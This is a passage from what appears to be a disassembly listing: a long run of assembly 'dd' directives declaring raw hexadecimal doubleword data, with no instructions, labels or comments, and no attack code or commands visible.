		dd 0C494EA1Dh, 4349F225h, 26809D50h, 5EA170CAh,	33B44479h
		dd 7C010648h, 3A23949Ah, 0BA506A05h, 28080114h,	0E1436E21h
		dd 0D9EE0344h, 1A6066DDh, 0BF3013F5h, 82FB05Bh,	0DC9BE916h
		dd 16B60531h, 68506480h, 53387B2Ch, 0D8055802h,	41ACC784h
		dd 406ACBABh, 3ED81ECh,	6C7D4217h, 33F9B6A2h, 26ADBCh
		dd 21FCB8AFh, 530248CAh, 9F73234Dh, 7C198A31h, 0A4226042h
		dd 14B2A12h, 9184DEBDh,	651BE971h, 3EF5401Fh, 7D0FCF19h
		dd 0DFD7295Eh, 0EC785050h, 89E75EF4h, 6D694D49h, 0CD2DE6h
		dd 7E1BBFB2h, 0FF21487Dh, 773AE707h, 5803984h, 2004761Ah
		dd 0AFB0123h, 9790FCE9h, 0D069A25Eh, 4FC5C0F7h,	76690323h
		dd 394A201h, 0DAE95808h, 457D930h, 0C3B55159h, 0D590DD8Dh
		dd 5BBE5CE9h, 0EDBE794h, 1FA51DF9h, 0A90DF64Ah,	8A546581h
		dd 84EF5570h, 0B688EB0h, 440B1CDCh, 28C2C880h, 0BB04F4E3h
		dd 148BD389h, 0E90AABCBh, 9DACEB5Eh, 0F13083C9h, 0E1E14966h
		dd 0BD1881B5h, 0DB408E3h, 9F2D1E58h, 2C89F938h,	1204AB9Dh
		dd 0D0CA0224h, 0C4DE92FBh, 1D2940D6h, 13B31BD3h, 5B7F317Bh
		dd 967BA1D1h, 0ACC4F1A9h, 52A25298h, 58290A6Dh,	1A5E08F3h
		dd 0F3835A0Eh, 3C8180D4h, 0E80552A1h, 0BBC95E63h, 8CBE0894h
		dd 35077C9h, 837298BDh,	0A74CD9EDh, 575A3884h, 0EF5CC9F4h
		dd 6BD12E5Bh, 0F0B96204h, 5258515Ah, 82125A0Fh,	685B3370h
		dd 303BED63h, 2459875h,	0CD814B00h, 168A55D9h, 0ED642DE9h
		dd 0FCF7FBE9h, 391FA685h, 0B97FB89h, 265FB27h, 59C67C04h
		dd 0C3A7E0ECh, 993B678Eh, 5257EE54h, 3178DF21h,	0B48A298Dh
		dd 6D133F1Ah, 1F615801h, 21003B50h, 2A0C67E4h, 845EF301h
		dd 6EAB83E8h, 1A8E3958h, 0D0DD45B7h, 2DD87ADCh,	0C81CD797h
		dd 2B9AE3FCh, 0B12D665Eh, 6BB430B2h, 5F76D6D0h,	0D396D35h
		dd 0E7191921h, 9ACA5038h, 1C770138h, 52CF68E9h,	874B5840h
		dd 86A0D1E2h, 28D7C580h, 5BCFD7E7h, 80D0EF8Bh, 0FDE3F562h
		dd 12D90AB3h, 56C08051h, 0B4149E68h, 108885C5h,	12CC649h
		dd 4042086Bh, 0C83B6602h, 2ADC39Ch, 0F12C2D45h,	117EF7DAh
		dd 0CC84C225h, 0DE9161Ah, 0C828E21Eh, 4DB59A14h, 0C007D504h
		dd 0D33B6134h, 0A7210B25h, 5F6367E9h, 0ADC3B02Eh, 176F0628h
		dd 305BDF31h, 1E79130Fh, 9AF2E01Fh, 0C025E172h,	265A670Ch
		dd 0D0BA31DFh, 4FA3FD4Ch, 0E90BDF8Bh, 877919FAh, 0E7B7EB45h
		dd 76837E55h, 455077F3h, 1455D3CAh, 0F1A2A058h,	92B88025h
		dd 47F45813h, 1209D08h,	144186BDh, 4DF22070h, 0B3A8282h
		dd 8F66011Dh, 105E6102h, 0C2895A8Fh, 80B6B09Dh,	8E44836Ah
		dd 6540E165h, 7DEE0BBEh, 0AEE84F82h, 0DDB22988h, 889D016h
		dd 3F7C0204h, 515638AAh, 5CE18937h, 4BA54A40h, 0CD7B37E9h
		dd 565638Fh, 288F2B50h,	0F93168E6h, 2AA58778h, 8980743Bh
		dd 258DFD73h, 0CE1E803Ch, 89C00C09h, 0EC4A1F2h,	8876B600h
		dd 505AF313h, 0E93CCECAh, 865DC1CAh, 105168D1h,	0B40BE784h
		dd 0C988665Dh, 0EFF10391h, 0A24D9F6h, 0A82ABFFEh, 0D88EC094h
		dd 80C7CA5Bh, 0D3284759h, 530F164Ch, 41FE7511h,	2C2F57BBh
		dd 0B0C02A29h, 8A0473E9h, 93F5A7F0h, 2E5E31DDh,	9210992h
		dd 0AE4D4170h, 0C96879F8h, 3C005B10h, 26383B21h, 8E9E07F8h
		dd 987B581Fh, 50EEC4Bh,	173F1881h, 42417835h, 0C1023A95h
		dd 0B30845Bh, 0B24CA4Fh, 9EC0AFD2h, 0CA29171Fh,	0F020193Dh
		dd 981F5877h, 6EC28113h
		dd 895DA31Fh, 0FE18C095h, 0EF803BCFh, 2EF748F3h, 0C796F831h
		dd 0F06803FDh, 9A611D14h, 64632ED6h, 5A510BC4h,	9753C18Bh
		dd 0FA2AE942h, 46E54888h, 1133144Fh, 2C23B10h, 0A9112EB9h
		dd 307E077h, 3C0BB20Ah,	6326C788h, 5778B054h, 0C6D2DE78h
		dd 586F1EAAh, 52851803h, 82B02C27h, 584DE9B6h, 59179875h
		dd 8E696BB1h, 64314D61h, 71406125h, 0B8DCFD29h,	88619349h
		dd 0ED97CA8Fh, 1C61DC99h, 8B9859ADh, 0B34F0F66h, 233B554Dh
		dd 1BD892Ah, 30C909C6h,	0F85B1FFAh, 1DC74A74h, 70F2E074h
		dd 12054E78h, 28D8D95h,	0EFC56F8Ah, 33A46127h, 60B3103h
		dd 0FAF4BCE9h, 81581CA6h, 637EC7EEh, 0BB94E22Fh, 927827C4h
		dd 26628349h, 49077FB8h, 86DF897Fh, 0EE6D34E6h,	723D1E36h
		dd 1548C97Ah, 869AE456h, 2C36548Fh, 0DF8047D1h,	0A3B46826h
		dd 0B606E09Ah, 5AF12059h, 0ECD07320h, 3A286FA4h, 24C2C32Ah
		dd 1FFF0833h, 0FFB5A997h, 70F09345h, 0D7B09DACh, 6881365Ch
		dd 588A6430h, 4712BD4Ch, 79D5DD41h, 20615E8Fh, 525061DCh
		dd 7429BAh, 7BB8270Eh, 3147193Fh, 0C43F0995h, 92E916BDh
		dd 3D39027h, 484A6F6Ch,	487A9BA0h, 0BD8473FBh, 36021DDEh
		dd 6BC2D586h, 6569C4Ch,	9F21CD39h, 1C5FFA27h, 255A480Fh
		dd 58116293h, 37004889h, 59A5BD55h, 45390300h, 0FC68DDF7h
		dd 266EA46Ah, 126C2218h, 0ED2BF009h, 0FDA65608h, 2934B4DFh
		dd 5C77E49Bh, 0D46271BEh, 0E5C00044h, 0B0075005h, 7BB7532Bh
		dd 0E903EF90h, 89FD4BD2h, 7C9CE1C3h, 925D28B1h,	97555E49h
		dd 0FE66948Ch, 69089FF1h, 0E4A08B3h, 0FED05C1Ah, 62EF597Ah
		dd 0F0C30235h, 622FF134h, 4EE6205h, 25EC5908h, 467591D6h
		dd 42765960h, 0CF48B269h, 0B4ECEEB5h, 0E5EA282Eh, 0C0C3B91Ah
		dd 3E092658h, 0F1273D9h, 41444522h, 7E6E2AFh, 2B0B7FA6h
		dd 981935C6h, 0BF1D3216h, 0AB60E725h, 3BB03C24h, 20FB7505h
		dd 0B0C42128h, 905BF9BDh, 81B951A9h, 67B27D0Eh,	0A24F0BE9h
		dd 0C0461A31h, 0F8E80107h, 0A383FDE2h, 4E6C166h, 6CFB81A4h
		dd 0C60A8746h, 1E3699Ah, 0FB8C24F5h, 539291h, 95201D1Dh
		dd 0EB6E897Ch, 39CE63E4h, 0DCC3CD80h, 2EF3C804h, 9A1077Fh
		dd 0CB5BD921h, 4246640Eh, 0BD9C78B7h, 921848C9h, 25772413h
		dd 0F5818049h, 6DBC754Fh, 16E5C124h, 0E4279E0Bh, 95AEEEB0h
		dd 2E539419h, 4AD7CC90h, 984650DDh, 997A2EE6h, 51203BB8h
		dd 7390F298h, 56AEF06h,	0F0C4CB2h, 6E55D04h, 7384CFE9h
		dd 58AEA3D6h, 0C944EBFh, 0F5879B06h, 44CE4806h,	8C8D13Dh
		dd 5BCB8F10h, 37BA2084h, 0C1FB9411h, 1107236h, 5BDC4E58h
		dd 0BCFA92EAh, 75EB46B6h, 22645D4Ah, 5C121CE7h,	19AFA4FEh
		dd 8A4085AAh, 0C873EB80h, 66480EEAh, 0E9750DB9h, 0BAC45877h
		dd 9F32E19h, 0B6E709B0h, 59F7EDA0h, 5B76FC28h, 8835EC06h
		dd 0B03E58E2h, 11D22555h, 0F524C5D9h, 0BE344110h, 0CEA9019Dh
		dd 3EF58955h, 5EE30Bh, 43566BB7h, 609536h, 827F1494h, 944295Dh
		dd 0D3CD015Eh, 9273A020h, 397EDDBCh, 0D238344Eh, 2CC896ACh
		dd 6D12DABDh, 180120E2h, 4E2C31D2h, 1F355730h, 11B430Eh
		dd 582EA6E5h, 0A724823Bh, 0DE686F1Eh, 5BED016Eh, 38455CC7h
		dd 0F9925FFh, 0DF1A0C0h, 986CB57Eh, 116202DCh, 0DEF75F82h
		dd 0D1B2DD82h, 0EC545002h, 49469CA2h, 3F51E10h,	36C79895h
		dd 496680FCh, 1B0B690h,	3112AD77h, 0BF4559CEh, 0CB856E7Ch
		dd 7FD0EA50h, 0C54E7BF0h, 5356EF70h, 1A690468h,	835B630Fh
		dd 0F5E6DBEh, 0A3642912h, 318848B8h, 13C73B95h,	0F387A668h
		dd 53E0CBA5h, 17F79059h, 0BE624EBh, 9DF89A92h, 0C7BF2095h
		dd 0E5148027h, 0D78AB3F9h, 27E04C01h, 6E60F5AFh, 0E0E96F9Ah
		dd 8110665Ch, 47D156BBh, 8414569h, 61A70C82h, 1A4137D5h
		dd 0A9CF74EFh, 0EBFBAC60h, 4A346D80h, 6F15A06Ch, 0FB20D14Eh
		dd 3E373DBAh, 93BE11C1h, 0EC639DCAh, 7A92E58Eh,	2C0AE74Ch
		dd 33960A7Eh, 5225FCA3h, 0F15CA805h, 0F130E483h, 5AC14FC0h
		dd 90BBFADCh, 84596F60h, 97292650h, 1FF4E128h, 5F074794h
		dd 0E482D389h, 28DE94AEh, 354C5468h, 0A9734CE5h, 66031614h
		dd 5B8938B2h, 31914BC6h, 0F63C8B42h, 3A45EB4Eh,	48095C89h
		dd 81ABFB40h, 58540189h, 9240BB20h, 68551CF2h, 6AD089A0h
		dd 3120675Ah, 22BA4F51h, 0D45616D2h, 18065416h,	5C55D7E3h
		dd 844BDFCAh, 3167BF68h, 346A68h, 53AC64D7h, 0EA70CD81h
		dd 6408332Fh, 52F50138h, 0E95BA15Fh, 380725AAh,	0D4BEA0AAh
		dd 322F2C40h, 48850367h, 0E6B0496Dh, 7D257FE2h,	0C0A24314h
		dd 41A46564h, 5BFAE452h, 7275AD5Fh, 0E9C298E8h,	1257BE97h
		dd 0AB80C263h, 48AA59ECh, 5FFEE3CBh, 25E9E909h,	0B17939h
		dd 0B45040B3h, 0F40180B7h, 0E9E33088h, 3BA60BE8h, 244249Dh
		dd 0A0D6C1B1h, 8F780F57h, 30EA61F2h, 0B8416A7Fh, 3850B850h
		dd 0B78758C2h, 0E0ED6598h, 1352BE81h, 5050F6F1h, 0C15A6BE9h
		dd 4179693Ch, 57BC43F6h, 0F3FC27C2h, 0D0195B1Ch, 0E76C5A33h
		dd 636828A2h, 0D9A1D830h, 0CAA91402h, 1AC6E90Bh, 0A4BC2651h
		dd 0C0AF20C3h, 82B22F80h, 0CCACA057h, 9F3E0D70h, 0ED602B8Eh
		dd 0B6DFE906h, 8E023391h, 7419963Bh, 0F089614Ah, 37492E5Eh
		dd 9C8AF0DDh, 0EB294497h, 13F4AF1Bh, 47AA6EBBh,	0D43FEA16h
		dd 393F869h, 959C821h, 0CAB6D2C2h, 1353E518h, 6675B45Ch
		dd 12161E9Fh, 314E0E68h, 0E8505260h, 8A091F61h,	7E97583Ch
		dd 48C04E79h, 75E09F35h, 0C289C313h, 4B7B54CAh,	943F34D6h
		dd 0AC29AFFEh, 0E939A172h, 4C7E688Eh, 12A253F3h, 420C0AFBh
		dd 379AADC2h, 0E1972455h, 7D872995h, 64D0CE74h,	5A9F840Fh
		dd 28F14B33h, 55529F91h, 0E64609DEh, 173C85D1h,	0F5E24AC7h
		dd 8712478h, 0C185960Fh, 5A9AB30h, 703DB082h, 99BE0332h
		dd 4639CD6Fh, 0E15E5616h, 0AFF18D2Dh, 915C1535h, 0CD584BC1h
		dd 4F3A63F8h, 4AF2298Ch, 7814F251h, 3958259h, 8AFED80h
		dd 0BBAE25E8h, 0EEB9C7EBh, 1283F57h, 310D4059h,	0D764FA72h
		dd 28C24F08h, 445609CEh, 84DED669h, 0CC48EE68h,	144FE9FFh
		dd 72AD7713h, 0C8D783CEh, 0E8672700h, 0D921CB55h, 59C60768h
		dd 464C81EBh, 304A5FDBh, 6509CE53h, 542949E2h, 0AED98092h
		dd 0D1314BB4h, 1D9FF6C6h, 54F302D5h, 9B88BB2h, 6A612CE2h
		dd 4E5901D1h, 2EEBA70h,	0F5E7CD72h, 5FF289h, 4B0DEF05h
		dd 12D3900Fh, 4992E905h, 9BD95DAFh, 0C0C25045h,	619B5F63h
		dd 362F3FC9h, 149D2EF1h, 0DE875007h, 7AE022Bh, 4CCC4658h
		dd 313AA1C1h, 0E4A5347Dh, 0A3CFFCA2h, 7E9E0556h, 882BD332h
		dd 0CD128632h, 290CD42Ch, 37E82B5Ah, 0C2AF5966h, 49072EA1h
		dd 0A03D0F62h, 0E81DF58Eh, 0C8CF4EF7h, 0DF7D0166h, 30C8EF00h
		dd 835B3920h, 31025FC7h, 3AF1F6AFh, 68CC4A01h, 9E3847FBh
		dd 85C113C9h, 0F75FF429h, 0C604DB6Ch, 0E8A51817h, 1994602Eh
		dd 71020C32h, 0D10889C7h, 0FA0BA7F9h, 8AA0ECCCh, 7A011B99h
		dd 640DBB1Eh, 0D13A0C91h, 2FCB7F66h, 6814BB90h,	4A667BDFh
		dd 0C1CDC03Ah, 0F70002E2h, 85CA81D2h, 90750319h, 999B0920h
		dd 8704FD6Bh, 0D0F60128h, 0E740E0C0h, 0FC4134EDh, 0CA0E4F54h
		dd 89382D7Ch, 0DB52336Eh, 32755E2Ah, 2E5FD21Ah,	98A74941h
		dd 933A2845h, 0C250077h, 0E2815E3Fh, 0FD173905h, 0DCC4E974h
		dd 52269EF2h
		dd 0E3C51382h, 769D9FFDh, 7FFDB020h, 0F658989Dh, 5F00B7BFh
		dd 0D5F6CDFEh, 1BC58000h, 5259EE88h, 51663BB2h,	0D93DD1BFh
		dd 8005DCD8h, 81FEE8C2h, 7B12E21Bh, 22399931h, 0BB420102h
		dd 0B304158h, 0BCF6791Ah, 30DB2C7Ch, 21470E6Eh,	9E0C43CCh
		dd 7CAD263Ch, 1852CE05h, 0EC071C03h, 4F614D8Fh,	0F7E8E0C1h
		dd 92D02D8h, 31CA85FAh,	5E96A477h, 80F41FAAh, 4A8655AFh
		dd 550D801h, 222DE907h,	0CA871B40h, 2E985020h, 256D315Bh
		dd 3EEFF168h, 42250A26h, 2C12CA10h, 68426082h, 0ADA655EDh
		dd 0C039B516h, 0DDF6DE05h, 48A2A410h, 4B6E39E7h, 297B9889h
		dd 81643EBEh, 5ABD4581h, 5384BA2Ch, 0DFF7CCBBh,	6FCF5B4Ah
		dd 40627550h, 0A8B25FBAh, 68621691h, 25B25CC4h,	700BCA45h
		dd 969BD9AAh, 0DCB1745Eh, 0A65D45AAh, 0F389DEC5h, 58445617h
		dd 2AEDEB83h, 0DAE93661h, 7AE64B65h, 9654F07Bh,	0DC7E1CD5h
		dd 814D401Ch, 8F0A33EDh, 0D53EF7FEh, 0BB1F27E9h, 0A447DA24h
		dd 9C81B8E7h, 16211D43h, 22B6DF1h, 4BF168C4h, 52274A6Ch
		dd 2CEEDA09h, 40AFD303h, 467F57DDh, 0C70905FFh,	7AD68056h
		dd 3D01556Fh, 0D98F5EF1h, 0CAE3E981h, 0ECAAB1FAh, 1B3DE17Ch
		dd 750AA5B8h, 280D01C8h, 8BE82939h, 213672Ch, 0EA03A62Dh
		dd 0C7845E41h, 5F12B8F0h, 9FB2F0ECh, 4C251E76h,	5E818248h
		dd 0F92A6F60h, 0E8D2BC89h, 50B85D2Ch, 0A727E902h, 0F342C826h
		dd 0BB0E0BB5h, 22B8CB01h, 95BD5860h, 93E9069Fh,	0F3391D0Ah
		dd 0C9098741h, 48D6DE89h, 17879991h, 881981C7h,	0B4C241E3h
		dd 2D6600E1h, 685C091Dh, 0B31B0DC9h, 433AB9E0h,	0DC6030E9h
		dd 0C57363Dh, 14031BBFh, 25C930EFh, 1D9DCF0Ah, 0F7F847FCh
		dd 0C714DF63h, 1A285F5Eh, 6CF80871h, 1E2D120h, 1C2DF801h
		dd 2E3F230Dh, 0C64C66CAh, 0D0F70601h, 0F013CD35h, 0D8040566h
		dd 1209ADDh, 5EF545D0h,	5DEB0121h, 850FDB09h, 5573244Ch
		dd 0B9045275h, 3EC54E6Ah, 774F2BF4h, 18257E19h,	8DB6A9E9h
		dd 560157EAh, 5C463368h, 29705E21h, 9DD3B208h, 5ED9A90Bh
		dd 0C82CE962h, 945E5B1Ch, 6CA56FA0h, 0DA59B2A4h, 579475EAh
		dd 16D594B5h, 0E347C168h, 4E971ABh, 1B252AFh, 0EBBE7757h
		dd 9ADC208Fh, 0C170B09h, 8009F029h, 5F895B08h, 214831EFh
		dd 4A447FF9h, 7FF9FA6Dh, 90CCC4Ah, 10E5C849h, 56C9262Eh
		dd 45FAFAFEh, 1896A4B5h, 5FF8455Bh, 56ED429Fh, 0DE0BE995h
		dd 0BD744389h, 52A6F281h, 706567F9h, 0E7B4913Ah, 146E23B7h
		dd 27B8DC88h, 0C2676834h, 11121733h, 6380B19h, 69F43683h
		dd 3A637DB2h, 0B7390485h, 885801D4h, 0D0E5870Ch, 779B538h
		dd 0E3C0CBFEh, 80C35003h, 427CCF3h, 2E7BF082h, 6906FCA9h
		dd 0FADFA90h, 86824A81h, 0B99CB7CFh, 6804B0FEh,	74E865AEh
		dd 0B1D8E892h, 8A38215Dh, 40FAE982h, 0B945AF4h,	0D4100BEh
		dd 77380A9Dh, 919248h, 7B0807E2h, 59800540h, 500CB109h
		dd 95A36C5Bh, 3D085C4Dh, 0F834034Eh, 0ECF9F02Ch, 2E426202h
		dd 0D51E45B2h, 0C5285A05h, 4125E6F9h, 95B72A58h, 9FBE3033h
		dd 4803051Ch, 0AD107735h, 0F391BF33h, 0DE308457h, 85132E03h
		dd 0C3E50149h, 6C68961Dh, 0FD7B09BBh, 2795FE19h, 81A13FE1h
		dd 1240BB7Bh, 7A3C2187h, 0CE90049Fh, 18D5ACECh,	0F85EF329h
		dd 98747A45h, 5C7D020Ah, 0CD317294h, 2C504962h,	0A8B2594Fh
		dd 68F79892h, 0E1D1C34Eh, 0AB2C2FE2h, 0A4E5A8B4h, 0FD05C1CCh
		dd 28308C6Ah, 315CB192h, 58A660A6h, 0C1513B6Dh,	947E1252h
		dd 0C2CDD809h, 5FB6283Eh, 4FDB7020h, 0E99F13D8h, 68558189h
		dd 449D3EBBh, 0DCA530h,	8177E453h, 5B1ED8F6h, 70DF1348h
		dd 9B40B316h, 743B00E1h, 0CBB1C780h, 8F49836Eh,	1BA130D3h
		dd 1F66F9F2h, 1D427557h, 2548673Ah, 0FB049550h,	5AD001C8h
		dd 0C0CE1DA1h, 4D0968E6h, 0CD80743Eh, 0E9217376h, 0E6A82F2Dh
		dd 0A65C4BF6h, 20C99F3h, 0F24F653Eh, 0E95381DEh, 0FB68CF0Dh
		dd 1FD968E0h, 8B39B21Eh, 8549892Eh, 0AA41E3D2h,	32227938h
		dd 0A13C9078h, 0E135A316h, 3ED3005Fh, 6C5FD81Ch, 0CC3CB4C3h
		dd 0E6C15A01h, 96B44003h, 9F0B530Ch, 585EF231h,	0D1215AF3h
		dd 2A79E9CBh, 0A2EAD743h, 0DA789330h, 9FF0F858h, 2720FC66h
		dd 31D6982Ah, 3A175F86h, 105B3D30h, 7350B9CBh, 0B46D1290h
		dd 0A6020112h, 835F785Bh, 841C5890h, 8A22D25h, 7F336BA0h
		dd 789E50FCh, 65217E00h, 6705E0C1h, 53020840h, 7DCA0E52h
		dd 914CE7ACh, 3092F00Ah, 5702ED21h, 0E9B039E9h,	77EC533h
		dd 745058F9h, 0E756EFF8h, 0B246E08h, 4545C501h,	1011FB27h
		dd 30C745F5h, 3E5FC7DAh, 75688A20h, 9D84A921h, 6EB78F51h
		dd 95BFDC0h, 6659E830h,	0B447BC85h, 6417B51Bh, 39A0CCE9h
		dd 0D6EFC05h, 0D82913ADh, 0E908007Ch, 0EBB5370Fh, 6A4B9BBh
		dd 5F24902Bh, 1B4E8C2Eh, 1EF7D1A4h, 654A1056h, 4E7BB078h
		dd 3D3EE50h, 5B977591h,	4BD742Ch, 0FD4CA599h, 58218331h
		dd 0C2013307h, 5641BF57h, 403B2D6Dh, 62488823h,	352CE99Ah
		dd 9458A12Ch, 1C29256h,	0B15159B6h, 3CCE3063h, 0EB80A09Ah
		dd 0EAF3E0D0h, 74E9EAC3h, 81C49D7Ah, 9E275579h,	588FD158h
		dd 0DA5ADEE9h, 153079D0h, 9510501Fh, 1619E8A7h,	42DBE97Eh
		dd 7E5C1F9h, 504B9E40h,	7015BD2Dh, 96BF0454h, 0C5B60622h
		dd 1280B920h, 48ED70E9h, 605D1F11h, 0BE6656CCh,	620E7D86h
		dd 0B3E95D4Ah, 0D10EF5D4h, 92C6EAE1h, 68507FA6h, 3375626Ch
		dd 6B96220Ah, 0D961984h, 685BDAC0h, 8C765CCCh, 0D4A3E3D2h
		dd 0AEE91280h, 5B66D841h, 0D8E5352Ch, 71EFB754h, 893ED24Bh
		dd 6823C89Bh, 0B9B5DE99h, 0D1FE9737h, 49F39C2h,	59AB5EBFh
		dd 32681330h, 0F05B258Fh, 0A10702FBh, 3ED6E96Dh, 0D9433B7Fh
		dd 796DBBF8h, 7F9B40D7h, 13BB229h, 0D7346EF1h, 90580C09h
		dd 9F384267h, 0B62A34C6h, 0F2F5CC3h, 1BA425C8h,	2873FEB1h
		dd 0AABE9C2h, 9060B09Ah, 0C73F1A36h, 0F7DF2E12h, 0B5F622ADh
		dd 8359049Eh, 67F864E2h, 55FA4E73h, 48905C4Ah, 2DDF1097h
		dd 2B895D37h, 7F0285DEh, 42FE4107h, 96915544h, 2271DA09h
		dd 0BA26FC49h, 0AC873E00h, 59C83138h, 3AB9B0BFh, 0C15C80EBh
		dd 240EE831h, 36D16850h, 0C9EFEE51h, 4954647Ah,	0C4DB5B99h
		dd 464408h, 0F07D68BFh,	0DF48F727h, 53D61DADh, 42080113h
		dd 7C070305h, 90FF2ABBh, 2C770295h, 470BE92Eh, 0EC8EE8C9h
		dd 9FD482FDh, 81A5A408h, 8227D9C6h, 29C26A25h, 580885EEh
		dd 3D12D265h, 21CC0E54h, 2596BE0Ch, 82BC96A0h, 669DE72Dh
		dd 5B019869h, 0C446B2C0h, 39FF144Fh, 0D95C0190h, 5CDC2A47h
		dd 676795BBh, 0B2953417h, 44853491h, 0A05F06C8h, 2E6B81C6h
		dd 274C4F58h, 9A5DDC5h,	0AA460155h, 0C320557Eh,	31AE409Dh
		dd 0E849D294h, 0CB108852h, 80E2E5C7h, 7360CDDh,	1C03F83h
		dd 95FB6E19h, 7E45040Ch, 5740C2C0h, 87A27EBFh, 64F1FAF7h
		dd 84D877D6h, 122CFEE6h, 70553880h, 410FED0h, 0E954B550h
		dd 2A31A1D7h, 2E12678Ah, 22D46145h, 1BCD2F0Ch, 97523760h
		dd 8F111665h, 0A6E91562h, 5B6565DCh, 6F29A161h,	48525DE8h
		dd 3D4F8668h, 35B20C4h,	3A29CB41h, 85774B79h, 0C2B8B184h
		dd 16817889h, 2F87FE29h, 0EC172640h, 1F01EAD6h,	2D19E9FDh
		dd 0BA88D959h, 292D0249h, 1F60FB59h, 6082027Ch,	26351157h
		dd 9D37B75h, 0F4F45A87h
		dd 5EA86962h, 35715105h, 0ECC8044Ch, 2F8D5B8Bh,	6ED28D2Ah
		dd 37FBD384h, 9988312h,	0E388F714h, 29AD93B8h, 0E4605027h
		dd 3139D5F7h, 8FD36EFh,	95470BE8h, 0EBC057B6h, 7698C301h
		dd 0E46A80Fh, 0E9F30223h, 9F85F0FCh, 0E9855867h, 27BFD2B1h
		dd 91AC847Bh, 38C8B36Ah, 245C12A5h, 9D810664h, 292F1CA7h
		dd 0AC1D7F2Ah, 0C24B2EA8h, 0D3EF0D4Bh, 1855A91Dh, 542D1902h
		dd 75EA213Ch, 9D0B0801h, 5F8014Fh, 0CEC40744h, 0D35C9646h
		dd 20F5903Eh, 2DF59BC0h, 1990E407h, 0CB45051h, 3107E9B1h
		dd 0EEAC32Bh, 0CA5A8027h, 0C080CE2h, 663C0B05h,	0DD715919h
		dd 0FD6088A8h, 5D33EDDDh, 5A501585h, 40516957h,	57288431h
		dd 2853E9B0h, 301B81D3h, 15E6D903h, 0EC5916A5h,	4ACE895h
		dd 15F2086Eh, 12C7F1C8h, 183C0E74h, 37D52089h, 0BD1C6900h
		dd 7354D688h, 5FFD1329h, 0F8958031h, 1B4AE4E9h,	4254C3B3h
		dd 81EB623Fh, 18459B19h, 92B3D125h, 0C1B7EC5Ch,	9F68F9F7h
		dd 0B00D352Bh, 9A4FF550h, 3E174CC8h, 2FFCE452h,	3B291F8Bh
		dd 80DF6A91h, 74B42D2Dh, 602962C2h, 254DD2C8h, 0ECC10C75h
		dd 51065C95h, 0E703B229h, 74CA14F0h, 46BD90FFh,	85B06C83h
		dd 0DB1B7E0Ch, 14B5362Eh, 0F8B2E2B8h, 59513F20h, 362449B3h
		dd 76552E62h, 6B5EA10Eh, 20396346h, 8090506h, 744C7FE9h
		dd 0CC48A78h, 0C3BA837Bh, 1E1DA4Eh, 0B7E53CD1h,	0A3ADD3h
		dd 0BB5346E8h, 447C796Ah, 5B5B7F8h, 36A85DD8h, 0B91D74B3h
		dd 0C3D5F101h, 4F444CB6h, 5C535B22h, 71512F86h,	0C93B5669h
		dd 3D200F4Ch, 0E62D0546h, 0F1152B4Fh, 590707DCh, 305B9291h
		dd 10283964h, 0ED05BF6Ch, 5E406E2Dh, 742741ABh,	701B3A4Dh
		dd 2F1784A1h, 0AB0C4944h, 16AD2E03h, 0A014A851h, 0C741B21Bh
		dd 41A4A230h, 0CD4020C0h, 0DB4052B0h, 6E5C01B9h, 0F1810A72h
		dd 1918D447h, 1709E9ECh, 9136A1Ch, 0D3FADED7h, 44AF34B4h
		dd 16D4DE1Eh, 90662868h, 7194BF69h, 0E5C9049Fh,	73CBAC0Eh
		dd 0EC799729h, 0E9C20DB4h, 44A9D13Eh, 0E8EEC89h, 4FC18851h
		dd 0AF1046CEh, 60B90615h, 0E05AAB14h, 0A12DCF0Ch, 1372F835h
		dd 0A42A6BE1h, 0E380DAD9h, 0F623007h, 926B910Ch, 0E65B2E2Dh
		dd 820DD236h, 9F5E873Ah, 5A64E551h, 76681353h, 0A6E63478h
		dd 0EC5C2C6Dh, 3B8E888h, 0EF34B3B0h, 0D8F64CD8h, 2CC0FE03h
		dd 1C5887Bh, 2099B660h,	2F79E9F5h, 0ADB53C00h, 3A28512Ch
		dd 593904E8h, 83108B5h,	29094EA3h, 0DCE409C7h, 4B1C4246h
		dd 0B2E952FEh, 0E66E4A2Fh, 0B0F3BE63h, 0C201B212h, 0AF5D1628h
		dd 0B4760782h, 5B3EDE2Ch, 680942E3h, 77541442h,	56069A60h
		dd 44350431h, 0C83D2C05h, 209E008h, 0E216E940h,	270877D4h
		dd 1E23029Bh, 14C10E8Eh, 5B590801h, 0CCF3C90Ch,	0D26DF7D6h
		dd 95291308h, 34306D41h, 738D09F1h, 36F62783h, 0DD11E058h
		dd 0F49D932Bh, 95A0CD97h, 0F2573F3h, 2841B311h,	9523029Eh
		dd 0A1ED6400h, 1448273Fh, 5B312007h, 0DA5DD85Fh, 20F94CB7h
		dd 555B5184h, 5409742Bh, 0C0ABE9h, 25B50A8Bh, 85F1CEFBh
		dd 4B58B168h, 0EC28BFE4h, 334EE9h, 3256B879h, 0D2F576DEh
		dd 0D196B0D0h, 0DA4268A6h, 0AD1A752Bh, 0E950FD54h, 0F2E44E8Ch
		dd 4FB859C6h, 0E9152C9Ah, 0A15ABBAAh, 83B323DCh, 0F29E7E9h
		dd 951E2CDh, 70150B76h,	1B9D93F8h, 0F70D13EAh, 5B5245D7h
		dd 8336C2C1h, 6B681E41h, 0BD108824h, 0CF0B7FD8h, 5E7D810h
		dd 0D2202053h, 121831F8h, 0D0E511E9h, 0B0768A2h, 0F34A0896h
		dd 5014CD02h, 92AE4067h, 658A949Ch, 13FBC53h, 224548Ah
		dd 8815C88h, 0D2F65B66h, 0AFDD5186h, 50F72D4h, 0FF828CDh
		dd 0D48F7887h, 7A1C6008h, 544FE240h, 0B450AF5Ah, 475FA19h
		dd 15E1E237h, 506FBE1Dh, 0C23BD38h, 0E99A1BABh,	4FA15A28h
		dd 0ADBD5359h, 8068018Dh, 5F550F78h, 0BDC60370h, 7C4C7592h
		dd 0E9DF2909h, 525F7C71h, 31180340h, 6368C80Bh,	0CAD53066h
		dd 2F588149h, 205BD402h, 10E57AD0h, 3B1991E9h, 1D671757h
		dd 91D34AACh, 269659E0h, 37317969h, 2C587A7h, 6604B127h
		dd 0FE364468h, 58B3BA47h, 8D2587D9h, 966ED807h,	0E07AA4ECh
		dd 0EBC583E8h, 77CDAE22h, 373A13A0h, 34ED75F7h,	30058DA0h
		dd 5582BE2h, 0C4A00613h, 0A801005Ah, 0C1D5F742h, 514808E5h
		dd 0E09920A7h, 0C28012FAh, 1CD9F33Fh, 0D01D882Ch, 6FF24F7Ah
		dd 0F16CFDD3h, 1D042F83h, 16A1C9BCh, 0BFBA99Bh,	0FDEBA59Dh
		dd 12136BCCh, 0B614CE2Dh, 0CDA469AAh, 0D4B832E6h, 0DFBE13E1h
